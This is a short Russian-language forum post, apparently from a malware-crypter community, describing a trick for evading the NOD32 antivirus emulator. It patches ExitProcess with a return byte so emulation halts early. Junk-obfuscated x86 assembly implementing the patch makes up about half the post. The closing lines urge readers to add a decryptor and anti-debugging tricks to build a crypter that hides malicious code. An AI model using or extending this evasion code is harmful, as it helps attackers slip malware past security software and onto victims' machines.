я вам сейчас возможно открою секрет, а возможно нет
насколько я знаю у NOD32 самый мощный эвристик/эмулятор кода
я придумал (возможно не я первый) его обходить таким способом:
записать первым байтом ExitProcess retn (0xc3), вызвать ее а потом восстановить старый байт (надо его прочитать)
выдираю код (с анти-интеллектульным мусором) из одной своей фигни (все исправлять уже очень лень)
Код:
; WriteProcessMemory at kernel32.ExitProcess
mov eax, 0x1f
mov ecx, WriteProcessMemory+0x43
mov edi, ecx
inc eax
dec eax
lea ebx, [bwrite]
nop
nop
jmp nop5
dd 0x90909090
dd 0x90909090
dd 0x90909090
dd 0x90909090
nop5:
push ebx
push 3
lea ebx, [cmd_retn]
push ebx
mov ebx, ExitProcess-2
inc ebx
sub ebx, -1
nop
nop
mov ecx, [ebx]
xchg ebx, ecx
sub eax, 2
nop
nop
aad
xor [cmd_retn], 0x55
jmp nop6
dd 0x90909090
dd 0x90909090
dd 0x90909090
dd 0x90909090
nop6:
sub ebx, eax
push ebx
add dword [esp], 0x1f
dec dword [esp]
mov esi, edi
dec dword [esp]
push 1
dec dword [esp]
sub dword [esp], 1
mov ecx, esi
jmp nop7
dd 0x90909090
dd 0x90909090
dd 0x90909090
dd 0x90909090
nop7:
call dword [ecx-0x43]
nop
nop
; jmp ml
; goodbye, NOD32 heu
finvoke ExitProcess, 0
когда я это все делал, работало отлично. NOD видел завершение обычное процесса
и весь код дальше его эмулятор не выполнял. далее можно расшифровывать любым алгоритмом остальной код и запускать его. На SEH нод не реагирует.
Из этого помоему уже можно что-нибудь придумать.
Добавьте некоторые старые антиотладочные приёмы, сделайте навесной расшифровщик постраничный
и у вас получится офигенный криптор.
хэк?